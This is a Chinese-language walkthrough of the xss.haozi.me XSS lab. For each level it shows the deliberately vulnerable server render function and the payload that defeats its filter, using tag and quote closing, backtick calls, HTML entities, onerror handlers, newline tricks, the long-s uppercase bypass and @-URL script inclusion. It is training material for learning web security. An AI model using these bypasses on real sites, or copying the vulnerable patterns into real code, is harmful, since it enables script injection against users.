Web安全基础 - XSS Labs
Web安全基础 - XSS Labs
实验来自于https://xss.haozi.me
XSS是跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。
XSS攻击实际上就是攻击者使得浏览器执行本不该存在的前端代码。
0x00 基础
服务端代码如下:
function render (input) {
return '<div>' + input + '</div>'
}
当输入为<scirpt>alert(1);</scirpt>
,因为输入要回显到前端,这时候浏览器将输入识别为了HTML代码,执行alert(1)
;
0x01-0x02 主动闭合
0x01 主动闭合-标签
服务端代码如下:
function render (input) {
return '<textarea>' + input + '</textarea>'
}
textarea会将输入作为多行文本显示出来,我们想继续让输入作为代码执行,就要主动闭合来绕过该标签,
那么输入就是</textarea><script>alert(1);</script><textarea>
可以看到页面前端多了两个空的文本框,它们是由我们的输入主动闭合造成的。出现引号等将输入识别为文本的限制,也可以使用这种方法绕过。如下题。
0x02 主动闭合-引号
该题目的服务端代码:
function render (input) {
return '<input type="name" value="' + input + '">'
}
当我们输入"><script>alert(1);</script><"
时候引号闭合,html为
<input type="name" value=""><script>alert(1);</script><"">
name的值为空,输入作为了脚本执行。
0x03-0x05 常见过滤
0x03 ()过滤
服务端代码将()过滤,但我们执行函数时需要带上()。
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
通过键盘左上角的``可以绕过()的过滤,输入
<script>alert`1`;</script>
成功绕过
0x04 ()&`过滤
服务端同时过滤了()和`
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
这里要用到HTML实体字符来绕过,(
, )
分别代表左右括号
这里直接输入<script>alert(1)</script>
不行,因为script标签内部会识别成js代码而非html语言。
这里使用<img src="asdasd" onerror="alert(1);">
img的src任意填写,保证其失败后调用onerror属性内的代码。
0x05 -->过滤
服务端代码过滤掉了-->
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}
使用--!>绕过即可
输入--!><script>alert(1);</script>
0x06-0x07 正则绕过
0x06 正则绕过-换行1
服务端过滤了正则:auto|on.*=|>
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
这里在input标签内构造标签属性image,然后模仿上题构造onerror的语句,注意onerror后面要另加换行,不然会被正则过滤
type="image" src="sdsa" onerror
="alert(1);"
0x07 正则绕过-标签不闭合
服务器过滤正则/<\/?[^>]+>/gi
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
这个正则匹配以<或者</开头,至少有一个非>字符作为内容,以>结尾的字符串
输入<img src="sad" onerror="alert(1);"
不闭合就可以绕过
0x08 正则绕过-换行2
服务器过滤了标签导致无法闭合
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
输入
</style
>
<script>alert(1);</script>
绕过
0x09 正则绕过-test检测
test只会检测是否存在要求的正则匹配
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
我们只要首先输入对应的URL再闭合,重新开始构造就好,这里不能使用script,因为后面还有一个引号
https://www.segmentfault.com"></script><img src="123" onerror="alert(1);
0x0A 引入漏洞页面
这里综合了replace和test,先进行URL的检测,再进行字符的替换
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
仔细看代码发现是将原字符替换为对应的HTML字符实体,但是输入最后在script里面识别为js代码。
这里利用的是src属性会将@后的网址解析出来,将前面的内容作为用户名作为登录后面网页的用户名
(alert(1)的js官方提供地址:https://xss.haozi.me/j.js)
放个别人的payloadhttps://www.segmentfault.com@xss.haozi.me/j.js
,但是我在Chrome和edge上都没有成功。
0x0B-0x0C toUpperCase
0x0B toUpperCase
这关会将所有的输入转换为大写字符,我们根据之前的思路,利用HTML实体字符来绕过。
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}
标签是大小写不敏感的,但是我们要执行的js代码大小写敏感,对代码进行实体字符编码
alert(1); "alert(1);"
0x0C 标签过滤+toUpperCase
在toUpperCase前加了一次script的过滤,用上一题的payload依然可以解
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
0x0D 注释逃逸
首先对input进行一些过滤所以//这里就不能用了,使用-->来过滤,然后是通过换行来绕过注释
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}
我们的输入就应该是%0Aalert(1)%3B%0A--%3E
alert(1);
-->
0x0E ſ绕过
这里的语法是在<和紧邻的第一个字母前面加上_
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
做出来的人payload是这样的<ſcript src="https://xss.haozi.me/j.js"></script>
- ſ 是古英语中的s的写法, 转成大写是正常的S
- 利用src引入漏洞文件来绕过大写JS代码无法执行
0x0F-0x12 主动闭合2
0x0F 主动闭合-调用
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}
<script src="${escapeHtml(input)}"></script>
这是0x0A的HTML实体字符替换,成功阻止了我们进行截断。
虽然该题也进行了实体字符替换,但是对于内联为字符串的js代码,浏览器会先进行HTML解析,再将其视作js,因此我们这里可以直接截断绕过。
Payload:');alert('1
0x10 主动闭合-语句
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}
和上一题类似,闭合再写入alert语句就好
Payload: 1;alert(1)
0x11 主动闭合-综合
应该是这些题目里最长的代码,不过意思也很简明。
这里的escapeJs的作用是将一些特殊字符转义为普通字符。script是给页面添加一个url并点击,也就是触发我们的输入。
看明白了其实还是用到闭合的思路。
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}
Payload: ");alert(1);("
0x12 主动闭合-综合2
“替换成\“,可以双写一个\来转义掉第一个\绕过
console.log("")有语法错误,要再加一个\来转义
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}
Payload:\");alert(1);//